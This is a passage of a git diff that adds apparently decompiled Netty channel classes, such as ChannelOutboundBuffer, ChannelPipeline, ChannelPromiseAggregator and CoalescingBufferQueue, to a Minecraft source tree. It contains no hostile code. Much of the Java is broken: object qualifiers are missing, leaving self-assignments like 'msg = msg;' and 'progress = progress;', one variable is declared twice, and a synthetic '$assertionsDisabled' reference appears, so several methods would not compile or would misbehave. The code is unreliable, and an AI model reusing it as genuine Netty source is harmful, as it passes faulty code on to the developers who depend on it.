+      if (flushedEntry == null)
+      {
+        flushedEntry = entry;
+      }
+      do {
+        flushed += 1;
+        if (!promise.setUncancellable())
+        {
+          int pending = entry.cancel();
+          decrementPendingOutboundBytes(pending);
+        }
+        entry = next;
+      } while (entry != null);
+      
+
+      unflushedEntry = null;
+    }
+  }
+  
+
+
+
+  void incrementPendingOutboundBytes(long size)
+  {
+    if (size == 0L) {
+      return;
+    }
+    
+    long newWriteBufferSize = TOTAL_PENDING_SIZE_UPDATER.addAndGet(this, size);
+    if ((newWriteBufferSize > channel.config().getWriteBufferHighWaterMark()) && 
+      (WRITABLE_UPDATER.compareAndSet(this, 1, 0))) {
+      channel.pipeline().fireChannelWritabilityChanged();
+    }
+  }
+  
+
+
+
+
+  void decrementPendingOutboundBytes(long size)
+  {
+    if (size == 0L) {
+      return;
+    }
+    
+    long newWriteBufferSize = TOTAL_PENDING_SIZE_UPDATER.addAndGet(this, -size);
+    if (((newWriteBufferSize == 0L) || (newWriteBufferSize < channel.config().getWriteBufferLowWaterMark())) && 
+      (WRITABLE_UPDATER.compareAndSet(this, 0, 1))) {
+      channel.pipeline().fireChannelWritabilityChanged();
+    }
+  }
+  
+  private static long total(Object msg)
+  {
+    if ((msg instanceof ByteBuf)) {
+      return ((ByteBuf)msg).readableBytes();
+    }
+    if ((msg instanceof FileRegion)) {
+      return ((FileRegion)msg).count();
+    }
+    if ((msg instanceof ByteBufHolder)) {
+      return ((ByteBufHolder)msg).content().readableBytes();
+    }
+    return -1L;
+  }
+  
+
+
+  public Object current()
+  {
+    Entry entry = flushedEntry;
+    if (entry == null) {
+      return null;
+    }
+    
+    return msg;
+  }
+  
+
+
+  public void progress(long amount)
+  {
+    Entry e = flushedEntry;
+    assert (e != null);
+    ChannelPromise p = promise;
+    if ((p instanceof ChannelProgressivePromise)) {
+      long progress = progress + amount;
+      progress = progress;
+      ((ChannelProgressivePromise)p).tryProgress(progress, total);
+    }
+  }
+  
+
+
+
+
+  public boolean remove()
+  {
+    Entry e = flushedEntry;
+    if (e == null) {
+      return false;
+    }
+    Object msg = msg;
+    
+    ChannelPromise promise = promise;
+    int size = pendingSize;
+    
+    removeEntry(e);
+    
+    if (!cancelled)
+    {
+      ReferenceCountUtil.safeRelease(msg);
+      safeSuccess(promise);
+      decrementPendingOutboundBytes(size);
+    }
+    
+
+    e.recycle();
+    
+    return true;
+  }
+  
+
+
+
+
+  public boolean remove(Throwable cause)
+  {
+    Entry e = flushedEntry;
+    if (e == null) {
+      return false;
+    }
+    Object msg = msg;
+    
+    ChannelPromise promise = promise;
+    int size = pendingSize;
+    
+    removeEntry(e);
+    
+    if (!cancelled)
+    {
+      ReferenceCountUtil.safeRelease(msg);
+      
+      safeFail(promise, cause);
+      decrementPendingOutboundBytes(size);
+    }
+    
+
+    e.recycle();
+    
+    return true;
+  }
+  
+  private void removeEntry(Entry e) {
+    if (--flushed == 0)
+    {
+      flushedEntry = null;
+      if (e == tailEntry) {
+        tailEntry = null;
+        unflushedEntry = null;
+      }
+    } else {
+      flushedEntry = next;
+    }
+  }
+  
+
+
+  public void removeBytes(long writtenBytes)
+  {
+    for (;;)
+    {
+      Object msg = current();
+      if (!(msg instanceof ByteBuf)) {
+        if (($assertionsDisabled) || (writtenBytes == 0L)) break; throw new AssertionError();
+      }
+      
+
+      ByteBuf buf = (ByteBuf)msg;
+      int readerIndex = buf.readerIndex();
+      int readableBytes = buf.writerIndex() - readerIndex;
+      
+      if (readableBytes <= writtenBytes) {
+        if (writtenBytes != 0L) {
+          progress(readableBytes);
+          writtenBytes -= readableBytes;
+        }
+        remove();
+      } else {
+        if (writtenBytes == 0L) break;
+        buf.readerIndex(readerIndex + (int)writtenBytes);
+        progress(writtenBytes); break;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public ByteBuffer[] nioBuffers()
+  {
+    long nioBufferSize = 0L;
+    int nioBufferCount = 0;
+    InternalThreadLocalMap threadLocalMap = InternalThreadLocalMap.get();
+    ByteBuffer[] nioBuffers = (ByteBuffer[])NIO_BUFFERS.get(threadLocalMap);
+    Entry entry = flushedEntry;
+    while ((isFlushedEntry(entry)) && ((msg instanceof ByteBuf))) {
+      if (!cancelled) {
+        ByteBuf buf = (ByteBuf)msg;
+        int readerIndex = buf.readerIndex();
+        int readableBytes = buf.writerIndex() - readerIndex;
+        
+        if (readableBytes > 0) {
+          nioBufferSize += readableBytes;
+          int count = count;
+          if (count == -1)
+          {
+            count = (count = buf.nioBufferCount());
+          }
+          int neededSpace = nioBufferCount + count;
+          if (neededSpace > nioBuffers.length) {
+            nioBuffers = expandNioBufferArray(nioBuffers, neededSpace, nioBufferCount);
+            NIO_BUFFERS.set(threadLocalMap, nioBuffers);
+          }
+          if (count == 1) {
+            ByteBuffer nioBuf = buf;
+            if (nioBuf == null)
+            {
+
+              buf = (nioBuf = buf.internalNioBuffer(readerIndex, readableBytes));
+            }
+            nioBuffers[(nioBufferCount++)] = nioBuf;
+          } else {
+            ByteBuffer[] nioBufs = bufs;
+            if (nioBufs == null)
+            {
+
+              bufs = (nioBufs = buf.nioBuffers());
+            }
+            nioBufferCount = fillBufferArray(nioBufs, nioBuffers, nioBufferCount);
+          }
+        }
+      }
+      entry = next;
+    }
+    this.nioBufferCount = nioBufferCount;
+    this.nioBufferSize = nioBufferSize;
+    
+    return nioBuffers;
+  }
+  
+  private static int fillBufferArray(ByteBuffer[] nioBufs, ByteBuffer[] nioBuffers, int nioBufferCount) {
+    for (ByteBuffer nioBuf : nioBufs) {
+      if (nioBuf == null) {
+        break;
+      }
+      nioBuffers[(nioBufferCount++)] = nioBuf;
+    }
+    return nioBufferCount;
+  }
+  
+  private static ByteBuffer[] expandNioBufferArray(ByteBuffer[] array, int neededSpace, int size) {
+    int newCapacity = array.length;
+    
+    do
+    {
+      newCapacity <<= 1;
+      
+      if (newCapacity < 0) {
+        throw new IllegalStateException();
+      }
+      
+    } while (neededSpace > newCapacity);
+    
+    ByteBuffer[] newArray = new ByteBuffer[newCapacity];
+    System.arraycopy(array, 0, newArray, 0, size);
+    
+    return newArray;
+  }
+  
+
+
+
+
+  public int nioBufferCount()
+  {
+    return nioBufferCount;
+  }
+  
+
+
+
+
+  public long nioBufferSize()
+  {
+    return nioBufferSize;
+  }
+  
+  boolean isWritable() {
+    return writable != 0;
+  }
+  
+
+
+  public int size()
+  {
+    return flushed;
+  }
+  
+
+
+
+  public boolean isEmpty()
+  {
+    return flushed == 0;
+  }
+  
+
+
+
+
+  void failFlushed(Throwable cause)
+  {
+    if (inFail) {
+      return;
+    }
+    try
+    {
+      inFail = true;
+      for (;;) {
+        if (!remove(cause)) {
+          break;
+        }
+      }
+    } finally {
+      inFail = false;
+    }
+  }
+  
+  void close(final ClosedChannelException cause) {
+    if (inFail) {
+      channel.eventLoop().execute(new Runnable()
+      {
+        public void run() {
+          close(cause);
+        }
+      });
+      return;
+    }
+    
+    inFail = true;
+    
+    if (channel.isOpen()) {
+      throw new IllegalStateException("close() must be invoked after the channel is closed.");
+    }
+    
+    if (!isEmpty()) {
+      throw new IllegalStateException("close() must be invoked after all flushed writes are handled.");
+    }
+    
+    try
+    {
+      Entry e = unflushedEntry;
+      while (e != null)
+      {
+        int size = pendingSize;
+        TOTAL_PENDING_SIZE_UPDATER.addAndGet(this, -size);
+        
+        if (!cancelled) {
+          ReferenceCountUtil.safeRelease(msg);
+          safeFail(promise, cause);
+        }
+        e = e.recycleAndGetNext();
+      }
+    } finally {
+      inFail = false;
+    }
+  }
+  
+  private static void safeSuccess(ChannelPromise promise) {
+    if ((!(promise instanceof VoidChannelPromise)) && (!promise.trySuccess())) {
+      logger.warn("Failed to mark a promise as success because it is done already: {}", promise);
+    }
+  }
+  
+  private static void safeFail(ChannelPromise promise, Throwable cause) {
+    if ((!(promise instanceof VoidChannelPromise)) && (!promise.tryFailure(cause))) {
+      logger.warn("Failed to mark a promise as failure because it's done already: {}", promise, cause);
+    }
+  }
+  
+
+
+
+
+  public long totalPendingWriteBytes()
+  {
+    return totalPendingSize;
+  }
+  
+
+
+
+  public void forEachFlushedMessage(MessageProcessor processor)
+    throws Exception
+  {
+    if (processor == null) {
+      throw new NullPointerException("processor");
+    }
+    
+    Entry entry = flushedEntry;
+    if (entry == null) {
+      return;
+    }
+    do
+    {
+      if ((!cancelled) && 
+        (!processor.processMessage(msg))) {
+        return;
+      }
+      
+      entry = next;
+    } while (isFlushedEntry(entry));
+  }
+  
+  private boolean isFlushedEntry(Entry e) {
+    return (e != null) && (e != unflushedEntry);
+  }
+  
+
+
+  @Deprecated
+  public void recycle() {}
+  
+
+
+  static final class Entry
+  {
+    private static final Recycler<Entry> RECYCLER = new Recycler()
+    {
+      protected ChannelOutboundBuffer.Entry newObject(Recycler.Handle handle) {
+        return new ChannelOutboundBuffer.Entry(handle, null);
+      }
+    };
+    
+    private final Recycler.Handle handle;
+    Entry next;
+    Object msg;
+    ByteBuffer[] bufs;
+    ByteBuffer buf;
+    ChannelPromise promise;
+    long progress;
+    long total;
+    int pendingSize;
+    int count = -1;
+    boolean cancelled;
+    
+    private Entry(Recycler.Handle handle) {
+      this.handle = handle;
+    }
+    
+    static Entry newInstance(Object msg, int size, long total, ChannelPromise promise) {
+      Entry entry = (Entry)RECYCLER.get();
+      msg = msg;
+      pendingSize = size;
+      total = total;
+      promise = promise;
+      return entry;
+    }
+    
+    int cancel() {
+      if (!cancelled) {
+        cancelled = true;
+        int pSize = pendingSize;
+        
+
+        ReferenceCountUtil.safeRelease(msg);
+        msg = Unpooled.EMPTY_BUFFER;
+        
+        pendingSize = 0;
+        total = 0L;
+        progress = 0L;
+        bufs = null;
+        buf = null;
+        return pSize;
+      }
+      return 0;
+    }
+    
+    void recycle() {
+      next = null;
+      bufs = null;
+      buf = null;
+      msg = null;
+      promise = null;
+      progress = 0L;
+      total = 0L;
+      pendingSize = 0;
+      count = -1;
+      cancelled = false;
+      RECYCLER.recycle(this, handle);
+    }
+    
+    Entry recycleAndGetNext() {
+      Entry next = this.next;
+      recycle();
+      return next;
+    }
+  }
+  
+  public static abstract interface MessageProcessor
+  {
+    public abstract boolean processMessage(Object paramObject)
+      throws Exception;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelOutboundHandler.java b/src/minecraft/io/netty/channel/ChannelOutboundHandler.java
new file mode 100644
index 0000000..b627951
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelOutboundHandler.java
@@ -0,0 +1,31 @@
+package io.netty.channel;
+
+import java.net.SocketAddress;
+
+public abstract interface ChannelOutboundHandler
+  extends ChannelHandler
+{
+  public abstract void bind(ChannelHandlerContext paramChannelHandlerContext, SocketAddress paramSocketAddress, ChannelPromise paramChannelPromise)
+    throws Exception;
+  
+  public abstract void connect(ChannelHandlerContext paramChannelHandlerContext, SocketAddress paramSocketAddress1, SocketAddress paramSocketAddress2, ChannelPromise paramChannelPromise)
+    throws Exception;
+  
+  public abstract void disconnect(ChannelHandlerContext paramChannelHandlerContext, ChannelPromise paramChannelPromise)
+    throws Exception;
+  
+  public abstract void close(ChannelHandlerContext paramChannelHandlerContext, ChannelPromise paramChannelPromise)
+    throws Exception;
+  
+  public abstract void deregister(ChannelHandlerContext paramChannelHandlerContext, ChannelPromise paramChannelPromise)
+    throws Exception;
+  
+  public abstract void read(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+  
+  public abstract void write(ChannelHandlerContext paramChannelHandlerContext, Object paramObject, ChannelPromise paramChannelPromise)
+    throws Exception;
+  
+  public abstract void flush(ChannelHandlerContext paramChannelHandlerContext)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/channel/ChannelOutboundHandlerAdapter.java b/src/minecraft/io/netty/channel/ChannelOutboundHandlerAdapter.java
new file mode 100644
index 0000000..f3fb724
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelOutboundHandlerAdapter.java
@@ -0,0 +1,117 @@
+package io.netty.channel;
+
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChannelOutboundHandlerAdapter
+  extends ChannelHandlerAdapter
+  implements ChannelOutboundHandler
+{
+  public ChannelOutboundHandlerAdapter() {}
+  
+  public void bind(ChannelHandlerContext ctx, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.bind(localAddress, promise);
+  }
+  
+
+
+
+
+
+
+  public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.connect(remoteAddress, localAddress, promise);
+  }
+  
+
+
+
+
+
+
+  public void disconnect(ChannelHandlerContext ctx, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.disconnect(promise);
+  }
+  
+
+
+
+
+
+
+  public void close(ChannelHandlerContext ctx, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.close(promise);
+  }
+  
+
+
+
+
+
+  public void deregister(ChannelHandlerContext ctx, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.deregister(promise);
+  }
+  
+
+
+
+
+
+  public void read(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ctx.read();
+  }
+  
+
+
+
+
+
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.write(msg, promise);
+  }
+  
+
+
+
+
+
+  public void flush(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    ctx.flush();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelOutboundInvoker.java b/src/minecraft/io/netty/channel/ChannelOutboundInvoker.java
new file mode 100644
index 0000000..c83bdf1
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelOutboundInvoker.java
@@ -0,0 +1,52 @@
+package io.netty.channel;
+
+import java.net.SocketAddress;
+
+public abstract interface ChannelOutboundInvoker
+{
+  public abstract ChannelFuture bind(SocketAddress paramSocketAddress);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress1, SocketAddress paramSocketAddress2);
+  
+  public abstract ChannelFuture disconnect();
+  
+  public abstract ChannelFuture close();
+  
+  public abstract ChannelFuture deregister();
+  
+  public abstract ChannelFuture bind(SocketAddress paramSocketAddress, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress1, SocketAddress paramSocketAddress2, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture disconnect(ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture close(ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture deregister(ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelOutboundInvoker read();
+  
+  public abstract ChannelFuture write(Object paramObject);
+  
+  public abstract ChannelFuture write(Object paramObject, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelOutboundInvoker flush();
+  
+  public abstract ChannelFuture writeAndFlush(Object paramObject, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writeAndFlush(Object paramObject);
+  
+  public abstract ChannelPromise newPromise();
+  
+  public abstract ChannelProgressivePromise newProgressivePromise();
+  
+  public abstract ChannelFuture newSucceededFuture();
+  
+  public abstract ChannelFuture newFailedFuture(Throwable paramThrowable);
+  
+  public abstract ChannelPromise voidPromise();
+}
diff --git a/src/minecraft/io/netty/channel/ChannelPipeline.java b/src/minecraft/io/netty/channel/ChannelPipeline.java
new file mode 100644
index 0000000..a2f4b9d
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelPipeline.java
@@ -0,0 +1,129 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.EventExecutorGroup;
+import java.net.SocketAddress;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+
+public abstract interface ChannelPipeline
+  extends Iterable<Map.Entry<String, ChannelHandler>>
+{
+  public abstract ChannelPipeline addFirst(String paramString, ChannelHandler paramChannelHandler);
+  
+  public abstract ChannelPipeline addFirst(EventExecutorGroup paramEventExecutorGroup, String paramString, ChannelHandler paramChannelHandler);
+  
+  public abstract ChannelPipeline addLast(String paramString, ChannelHandler paramChannelHandler);
+  
+  public abstract ChannelPipeline addLast(EventExecutorGroup paramEventExecutorGroup, String paramString, ChannelHandler paramChannelHandler);
+  
+  public abstract ChannelPipeline addBefore(String paramString1, String paramString2, ChannelHandler paramChannelHandler);
+  
+  public abstract ChannelPipeline addBefore(EventExecutorGroup paramEventExecutorGroup, String paramString1, String paramString2, ChannelHandler paramChannelHandler);
+  
+  public abstract ChannelPipeline addAfter(String paramString1, String paramString2, ChannelHandler paramChannelHandler);
+  
+  public abstract ChannelPipeline addAfter(EventExecutorGroup paramEventExecutorGroup, String paramString1, String paramString2, ChannelHandler paramChannelHandler);
+  
+  public abstract ChannelPipeline addFirst(ChannelHandler... paramVarArgs);
+  
+  public abstract ChannelPipeline addFirst(EventExecutorGroup paramEventExecutorGroup, ChannelHandler... paramVarArgs);
+  
+  public abstract ChannelPipeline addLast(ChannelHandler... paramVarArgs);
+  
+  public abstract ChannelPipeline addLast(EventExecutorGroup paramEventExecutorGroup, ChannelHandler... paramVarArgs);
+  
+  public abstract ChannelPipeline remove(ChannelHandler paramChannelHandler);
+  
+  public abstract ChannelHandler remove(String paramString);
+  
+  public abstract <T extends ChannelHandler> T remove(Class<T> paramClass);
+  
+  public abstract ChannelHandler removeFirst();
+  
+  public abstract ChannelHandler removeLast();
+  
+  public abstract ChannelPipeline replace(ChannelHandler paramChannelHandler1, String paramString, ChannelHandler paramChannelHandler2);
+  
+  public abstract ChannelHandler replace(String paramString1, String paramString2, ChannelHandler paramChannelHandler);
+  
+  public abstract <T extends ChannelHandler> T replace(Class<T> paramClass, String paramString, ChannelHandler paramChannelHandler);
+  
+  public abstract ChannelHandler first();
+  
+  public abstract ChannelHandlerContext firstContext();
+  
+  public abstract ChannelHandler last();
+  
+  public abstract ChannelHandlerContext lastContext();
+  
+  public abstract ChannelHandler get(String paramString);
+  
+  public abstract <T extends ChannelHandler> T get(Class<T> paramClass);
+  
+  public abstract ChannelHandlerContext context(ChannelHandler paramChannelHandler);
+  
+  public abstract ChannelHandlerContext context(String paramString);
+  
+  public abstract ChannelHandlerContext context(Class<? extends ChannelHandler> paramClass);
+  
+  public abstract Channel channel();
+  
+  public abstract List<String> names();
+  
+  public abstract Map<String, ChannelHandler> toMap();
+  
+  public abstract ChannelPipeline fireChannelRegistered();
+  
+  public abstract ChannelPipeline fireChannelUnregistered();
+  
+  public abstract ChannelPipeline fireChannelActive();
+  
+  public abstract ChannelPipeline fireChannelInactive();
+  
+  public abstract ChannelPipeline fireExceptionCaught(Throwable paramThrowable);
+  
+  public abstract ChannelPipeline fireUserEventTriggered(Object paramObject);
+  
+  public abstract ChannelPipeline fireChannelRead(Object paramObject);
+  
+  public abstract ChannelPipeline fireChannelReadComplete();
+  
+  public abstract ChannelPipeline fireChannelWritabilityChanged();
+  
+  public abstract ChannelFuture bind(SocketAddress paramSocketAddress);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress1, SocketAddress paramSocketAddress2);
+  
+  public abstract ChannelFuture disconnect();
+  
+  public abstract ChannelFuture close();
+  
+  public abstract ChannelFuture deregister();
+  
+  public abstract ChannelFuture bind(SocketAddress paramSocketAddress, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress1, SocketAddress paramSocketAddress2, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture disconnect(ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture close(ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture deregister(ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelPipeline read();
+  
+  public abstract ChannelFuture write(Object paramObject);
+  
+  public abstract ChannelFuture write(Object paramObject, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelPipeline flush();
+  
+  public abstract ChannelFuture writeAndFlush(Object paramObject, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writeAndFlush(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/channel/ChannelPipelineException.java b/src/minecraft/io/netty/channel/ChannelPipelineException.java
new file mode 100644
index 0000000..f066f02
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelPipelineException.java
@@ -0,0 +1,52 @@
+package io.netty.channel;
+
+
+
+
+
+
+
+
+
+public class ChannelPipelineException
+  extends ChannelException
+{
+  private static final long serialVersionUID = 3379174210419885980L;
+  
+
+
+
+
+
+
+
+
+  public ChannelPipelineException() {}
+  
+
+
+
+
+
+
+
+
+  public ChannelPipelineException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public ChannelPipelineException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public ChannelPipelineException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelProgressiveFuture.java b/src/minecraft/io/netty/channel/ChannelProgressiveFuture.java
new file mode 100644
index 0000000..b892395
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelProgressiveFuture.java
@@ -0,0 +1,27 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+import io.netty.util.concurrent.ProgressiveFuture;
+
+public abstract interface ChannelProgressiveFuture
+  extends ChannelFuture, ProgressiveFuture<Void>
+{
+  public abstract ChannelProgressiveFuture addListener(GenericFutureListener<? extends Future<? super Void>> paramGenericFutureListener);
+  
+  public abstract ChannelProgressiveFuture addListeners(GenericFutureListener<? extends Future<? super Void>>... paramVarArgs);
+  
+  public abstract ChannelProgressiveFuture removeListener(GenericFutureListener<? extends Future<? super Void>> paramGenericFutureListener);
+  
+  public abstract ChannelProgressiveFuture removeListeners(GenericFutureListener<? extends Future<? super Void>>... paramVarArgs);
+  
+  public abstract ChannelProgressiveFuture sync()
+    throws InterruptedException;
+  
+  public abstract ChannelProgressiveFuture syncUninterruptibly();
+  
+  public abstract ChannelProgressiveFuture await()
+    throws InterruptedException;
+  
+  public abstract ChannelProgressiveFuture awaitUninterruptibly();
+}
diff --git a/src/minecraft/io/netty/channel/ChannelProgressiveFutureListener.java b/src/minecraft/io/netty/channel/ChannelProgressiveFutureListener.java
new file mode 100644
index 0000000..8852ee5
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelProgressiveFutureListener.java
@@ -0,0 +1,7 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.GenericProgressiveFutureListener;
+
+public abstract interface ChannelProgressiveFutureListener
+  extends GenericProgressiveFutureListener<ChannelProgressiveFuture>
+{}
diff --git a/src/minecraft/io/netty/channel/ChannelProgressivePromise.java b/src/minecraft/io/netty/channel/ChannelProgressivePromise.java
new file mode 100644
index 0000000..4b07e2d
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelProgressivePromise.java
@@ -0,0 +1,35 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+import io.netty.util.concurrent.ProgressivePromise;
+
+public abstract interface ChannelProgressivePromise
+  extends ProgressivePromise<Void>, ChannelProgressiveFuture, ChannelPromise
+{
+  public abstract ChannelProgressivePromise addListener(GenericFutureListener<? extends Future<? super Void>> paramGenericFutureListener);
+  
+  public abstract ChannelProgressivePromise addListeners(GenericFutureListener<? extends Future<? super Void>>... paramVarArgs);
+  
+  public abstract ChannelProgressivePromise removeListener(GenericFutureListener<? extends Future<? super Void>> paramGenericFutureListener);
+  
+  public abstract ChannelProgressivePromise removeListeners(GenericFutureListener<? extends Future<? super Void>>... paramVarArgs);
+  
+  public abstract ChannelProgressivePromise sync()
+    throws InterruptedException;
+  
+  public abstract ChannelProgressivePromise syncUninterruptibly();
+  
+  public abstract ChannelProgressivePromise await()
+    throws InterruptedException;
+  
+  public abstract ChannelProgressivePromise awaitUninterruptibly();
+  
+  public abstract ChannelProgressivePromise setSuccess(Void paramVoid);
+  
+  public abstract ChannelProgressivePromise setSuccess();
+  
+  public abstract ChannelProgressivePromise setFailure(Throwable paramThrowable);
+  
+  public abstract ChannelProgressivePromise setProgress(long paramLong1, long paramLong2);
+}
diff --git a/src/minecraft/io/netty/channel/ChannelPromise.java b/src/minecraft/io/netty/channel/ChannelPromise.java
new file mode 100644
index 0000000..0be62a3
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelPromise.java
@@ -0,0 +1,37 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+import io.netty.util.concurrent.Promise;
+
+public abstract interface ChannelPromise
+  extends ChannelFuture, Promise<Void>
+{
+  public abstract Channel channel();
+  
+  public abstract ChannelPromise setSuccess(Void paramVoid);
+  
+  public abstract ChannelPromise setSuccess();
+  
+  public abstract boolean trySuccess();
+  
+  public abstract ChannelPromise setFailure(Throwable paramThrowable);
+  
+  public abstract ChannelPromise addListener(GenericFutureListener<? extends Future<? super Void>> paramGenericFutureListener);
+  
+  public abstract ChannelPromise addListeners(GenericFutureListener<? extends Future<? super Void>>... paramVarArgs);
+  
+  public abstract ChannelPromise removeListener(GenericFutureListener<? extends Future<? super Void>> paramGenericFutureListener);
+  
+  public abstract ChannelPromise removeListeners(GenericFutureListener<? extends Future<? super Void>>... paramVarArgs);
+  
+  public abstract ChannelPromise sync()
+    throws InterruptedException;
+  
+  public abstract ChannelPromise syncUninterruptibly();
+  
+  public abstract ChannelPromise await()
+    throws InterruptedException;
+  
+  public abstract ChannelPromise awaitUninterruptibly();
+}
diff --git a/src/minecraft/io/netty/channel/ChannelPromiseAggregator.java b/src/minecraft/io/netty/channel/ChannelPromiseAggregator.java
new file mode 100644
index 0000000..58d2a5c
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelPromiseAggregator.java
@@ -0,0 +1,93 @@
+package io.netty.channel;
+
+import java.util.LinkedHashSet;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ChannelPromiseAggregator
+  implements ChannelFutureListener
+{
+  private final ChannelPromise aggregatePromise;
+  private Set<ChannelPromise> pendingPromises;
+  
+  public ChannelPromiseAggregator(ChannelPromise aggregatePromise)
+  {
+    if (aggregatePromise == null) {
+      throw new NullPointerException("aggregatePromise");
+    }
+    this.aggregatePromise = aggregatePromise;
+  }
+  
+
+
+  public ChannelPromiseAggregator add(ChannelPromise... promises)
+  {
+    if (promises == null) {
+      throw new NullPointerException("promises");
+    }
+    if (promises.length == 0) {
+      return this;
+    }
+    synchronized (this) {
+      if (pendingPromises == null) { int size;
+        int size;
+        if (promises.length > 1) {
+          size = promises.length;
+        } else {
+          size = 2;
+        }
+        pendingPromises = new LinkedHashSet(size);
+      }
+      for (ChannelPromise p : promises)
+        if (p != null)
+        {
+
+          pendingPromises.add(p);
+          p.addListener(this);
+        }
+    }
+    return this;
+  }
+  
+  public synchronized void operationComplete(ChannelFuture future) throws Exception
+  {
+    if (pendingPromises == null) {
+      aggregatePromise.setSuccess();
+    } else {
+      pendingPromises.remove(future);
+      if (!future.isSuccess()) {
+        aggregatePromise.setFailure(future.cause());
+        for (ChannelPromise pendingFuture : pendingPromises) {
+          pendingFuture.setFailure(future.cause());
+        }
+      }
+      else if (pendingPromises.isEmpty()) {
+        aggregatePromise.setSuccess();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelPromiseNotifier.java b/src/minecraft/io/netty/channel/ChannelPromiseNotifier.java
new file mode 100644
index 0000000..dba6b44
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelPromiseNotifier.java
@@ -0,0 +1,56 @@
+package io.netty.channel;
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ChannelPromiseNotifier
+  implements ChannelFutureListener
+{
+  private final ChannelPromise[] promises;
+  
+
+
+
+
+
+
+
+
+
+
+  public ChannelPromiseNotifier(ChannelPromise... promises)
+  {
+    if (promises == null) {
+      throw new NullPointerException("promises");
+    }
+    for (ChannelPromise promise : promises) {
+      if (promise == null) {
+        throw new IllegalArgumentException("promises contains null ChannelPromise");
+      }
+    }
+    this.promises = ((ChannelPromise[])promises.clone());
+  }
+  
+  public void operationComplete(ChannelFuture cf) throws Exception
+  {
+    if (cf.isSuccess()) {
+      for (ChannelPromise p : promises) {
+        p.setSuccess();
+      }
+      return;
+    }
+    
+    Throwable cause = cf.cause();
+    for (ChannelPromise p : promises) {
+      p.setFailure(cause);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/CoalescingBufferQueue.java b/src/minecraft/io/netty/channel/CoalescingBufferQueue.java
new file mode 100644
index 0000000..fc012cf
--- /dev/null
+++ b/src/minecraft/io/netty/channel/CoalescingBufferQueue.java
@@ -0,0 +1,218 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.CompositeByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.internal.ObjectUtil;
+import java.util.ArrayDeque;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CoalescingBufferQueue
+{
+  private final Channel channel;
+  private final ArrayDeque<Object> bufAndListenerPairs;
+  private int readableBytes;
+  
+  public CoalescingBufferQueue(Channel channel)
+  {
+    this(channel, 4);
